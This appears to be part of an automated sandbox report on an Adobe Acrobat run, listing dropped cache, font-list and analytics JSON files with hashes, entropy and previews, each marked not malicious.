Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl6lIgjtfllXlE/HT8kzll7/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKjlIgjeT8clJdNMa8RdWBwRd
MD5:	DA9FEE21AD24C04CD727AC67D9E1E16F
SHA1:	8FCD941DAF6466578583C54F3EFA017BEE6620F8
SHA-256:	49F53A1F9E809767761921E8B0702D46DB5481011EC1F74759E25F6581711982
SHA-512:	067CDAC20E3048195F62057E6C44CE4A07E6AE83FE92C218CC3E6D55C4DD975EC73870F9312FB08904CCA28B32AD2FB381DFC5EA290384A9C9FA9773D4F23953
Malicious:	false
Preview:	p...... ........I.m.c..(....................................................... ..........W....3...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKK6L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:C6iDImsLNkPlE99SNxAhUe/3
MD5:	3AF65A80292A87475AEFFE3BFC886CC7
SHA1:	0C09BD09D92C86350B57D26021445B10C6D59C20
SHA-256:	E17411C67C02A0967DB22BCCC036C7A6A170770D94F9173DC7414E1CECC240E7
SHA-512:	69C45278E0AC669468F632A13B3A26C3FDBDA51CB0486164F537BA26973875AB104959DC46E3DA24EC01A7E43ABCC5B3B6C708AB1F04634A4E51AEA5003FEF2D
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335299564437664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJM3g98kUwPeUkwRe9:YvXKX0WtRoYpW7FGMbLUkee9
MD5:	29953F8FA26B7719F2973354608941B3
SHA1:	20FFA7D97CBE8ECAA68162ABEAA3B00C7ABE8807
SHA-256:	E7B4E16FD86DA9B4BF4716D59FA8C6FE4FE9717A684189C51C9565607C688312
SHA-512:	A3B381B8B92E761DFBC5CD435C5674C807239427128A6D6A6FE99BD4348E3090F7A66F19F1371ACC33B1CFC197048153B0DC443E358FAAB58187FC76AB5A943A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270209736832787
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfBoTfXpnrPeUkwRe9:YvXKX0WtRoYpW7FGWTfXcUkee9
MD5:	470CA8B0AC9A41333EC279D311C97F74
SHA1:	DDD824FBCF1666164F7502AFAEB435B757A967DC
SHA-256:	F7A20805E7D2C7E810DF3752695C1F4FD617B4F0CE46E74137948411C63CEFFF
SHA-512:	604F42394809AF12C818EA4E7B0084F9639DCDAFF95980B3B0548B3B063A8D609E5DD0900B52C7A00E1E7D07FA5BFC8B941745A98BFDDFB9D46AB5C003038797
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24953465967138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfBD2G6UpnrPeUkwRe9:YvXKX0WtRoYpW7FGR22cUkee9
MD5:	CA1BE812293812C190B9447F05FBE2BC
SHA1:	6B302AAF8BDCF33947FC9BD586A79162E285DA83
SHA-256:	7A309D60DE85F778031ABDB07E79B82B857016B69A85AE143431CFEA2C322D68
SHA-512:	A359499FD05B95D12C3FB342E9CFF3F9951ADD4074EDBADC9FE2BD474127033168DA330B153341EFDABF7D0826369C45F58CEE6AB2BA3A5317229FD8D81CD07D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313207746587055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfPmwrPeUkwRe9:YvXKX0WtRoYpW7FGH56Ukee9
MD5:	8F43FF2CF257B8A5F1D840BE312F6830
SHA1:	A564FD6F81E2E3D002B7C3EA8E49C4979EB67BB8
SHA-256:	3BAA7CB7BCDFA9C7F56022D438546AE99AA34E4950B644DBDE1B729F23A33220
SHA-512:	EC95BC8F352BB9BB087734B8B8DF09D542ED5C4CEB40161AC4FEAFBBEA30A2AAEA8C9BBDCF4AF49782E55D05EAD3992D1C1E2D2ECEBE12CFDBAACFA0629E881D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68999476329092
Encrypted:	false
SSDEEP:	24:Yv6X0iRRiKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:Yv3yIKhgy6SAFv5Ah8cv/U
MD5:	5CA9E46FDF696E4EC8256CC3E772CB18
SHA1:	979837A98C56361AF450A78FA969AC0030BF7646
SHA-256:	813AA7F8014C7ECA26F1A179EB9C00591B9FE67AA7C32D3990F0D5589AA69C5F
SHA-512:	7FA8218682BAF656704621590875CC4A9378F6FD380CF5F8E15838185C2E956DA02AFFC2E8E64D8BA5F62D2D6861E0CDCC72FE6F54D1EA1ADA69EA0E5EDD7335
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25923284120174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJf8dPeUkwRe9:YvXKX0WtRoYpW7FGU8Ukee9
MD5:	3568FC6BBDDA7BC40EA5B1BD7AB0605B
SHA1:	B6E4D9D328F793F2DDD37D23774A7E52E91AE96C
SHA-256:	FA4C8154AE75A1F3F32205BC5FA5E7D6D82B6CE1601BC367C64710786929EEFF
SHA-512:	577B772015BF5C9CADB4B5940174BB2E811026852CE256CB031ACF259EBCF0A6299C77830BD3AACD6346434FB2B88F22B81E80C448D47D351CAE2CB4A7600AD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.259204531525686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfQ1rPeUkwRe9:YvXKX0WtRoYpW7FGY16Ukee9
MD5:	8295926CCB06AB2B08740DAF8B82290D
SHA1:	37D0E5755B4561DC581EF244D4EB17079F9972DC
SHA-256:	F46EEA519AF347C631A6582E8A2625116345E5D1D17F190D4B0AA029C0D51D99
SHA-512:	264F406BFD211E8549D633368A662480211539F0CD8D3A4D29492973B4E984D7318FF4E3ED6085106D56DAD3D081825F11547257B8089B1DA6FDF661F0E683BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282016412611251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfFldPeUkwRe9:YvXKX0WtRoYpW7FGz8Ukee9
MD5:	699376ABEDD2DB9432239F5140B53F03
SHA1:	69933573A574E3EC280D465E924BD818BE3D9362
SHA-256:	2B5DA426FC41FE0B915CCBE510D7659D20F7670449B31723371332BB7A14EC69
SHA-512:	2A6EB5920C17CD00BB85E924E1531602FE8C7C59EA6E52E90BF55228A47D1F53E5B835B273054D68B969BF3421EBBD532ECCA97CDBA002B7377D882E065D9CFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287048161549966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfzdPeUkwRe9:YvXKX0WtRoYpW7FGb8Ukee9
MD5:	4329D237F9215433142C6A8A5CBDB087
SHA1:	86416259A3840D688A6C768A058FF6C8942489D8
SHA-256:	FD8CCD4C97BD2BD88B4F40422B7D1F5DFD1F65E029B513C1F954569A22D36B19
SHA-512:	838E6109EE0AED647BA26E8CBC9068BF9B65944062ED768ED05402635196762E2B908D6C14317DDE657FAA02DE758AE4FE14CC355765594BCCF7419AFB73E768
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2664149720916615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfYdPeUkwRe9:YvXKX0WtRoYpW7FGg8Ukee9
MD5:	DD25C5AAD84A7A9597E7358B041B76CC
SHA1:	DE6E4CD25160F345F762E6E6810AB39E8DDCDBCC
SHA-256:	EF0CB458A0BF60BF6647ABE9EACD89365E488D506C5CAAFDA1D94B1CF7E9547A
SHA-512:	A82A534BACC3F61C528CDFFB7E107226C70A0E93F850ED7D1793F09681C9F1E9AE46170EF6240A2304549DA4B7505F7B886B48077AF67807E3B05CDE034C4998
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.25297700174485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJf+dPeUkwRe9:YvXKX0WtRoYpW7FG28Ukee9
MD5:	AD54C7B0978E4DED10909580F98A7B33
SHA1:	C380E2EE48718FD84F74AFF76083D73341F8CEBF
SHA-256:	B863B12914486A0FC38BD9DAF194F988DA558A4456B1348F0886368D348623B8
SHA-512:	BF9250A8EBB36D4C99147CB83B005B71556305872604D7F9F64C87B538A81F80E4C2AC1063CB3767F363C3DEBFE9E3F642BDEAA5E16F97A3C7997753335550A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"991ee010-f5e6-44e1-b693-0766cf0473ec","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736718857553,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.250192894699603
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjV+WtRF+FIbRI6XVW7+0YdtoAvJfbPtdPeUkwRe9:YvXKX0WtRoYpW7FGDV8Ukee9
MD5:	7940424E825C94CB16484637FCEB5D86
